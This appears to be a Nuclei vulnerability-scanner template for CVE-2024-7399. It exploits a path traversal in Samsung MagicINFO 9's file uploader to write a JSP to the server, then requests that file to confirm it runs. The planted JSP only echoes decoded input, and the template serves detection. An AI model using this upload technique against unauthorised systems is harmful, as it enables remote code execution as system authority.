id: CVE-2024-7399 info: name: "Samsung MagicINFO 9 - Path Traversal" author: vedas-arpsyndicate severity: high description: | Improper limitation of a pathname to a restricted directory vulnerability in Samsung MagicINFO 9 Server version before 21.1050 allows attackers to write arbitrary file as system authority. reference: - https://www.exploit.observer/?keyword=CVE-2024-7399&match=exact - https://subdomain.center/?engine=ammonites&keyword=magicinfo&match=exact classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.8 cve-id: CVE-2024-7399 cwe-id: CWE-22 metadata: verified: false tags: cve,cve2024,rce,magicinfo,samsung,file-upload,intrusive,vkev,vuln,kev flow: http(1) && http(2) variables: filename: "{{randbase(6)}}" input: "{{randstr}}" http: - raw: - | POST /MagicInfo/servlet/SWUpdateFileUploader?fileName=./../../../../../../server/{{filename}}.jsp&deviceType=abc&deviceModelName=test&swVer=123 HTTP/1.1 Host: {{Hostname}} Content-Type: text/plain <%@ page import="java.util.Base64" %> <% String base64Input = request.getParameter("input"); if (base64Input != null) { byte[] decodedBytes = Base64.getDecoder().decode(base64Input); out.print(new String(decodedBytes)); } %> matchers: - type: status status: - 200 internal: true - raw: - | GET /MagicInfo/{{filename}}.jsp?input={{urlencode(base64(input))}} HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: - type: word part: body words: - '{{input}}' - type: status status: - 200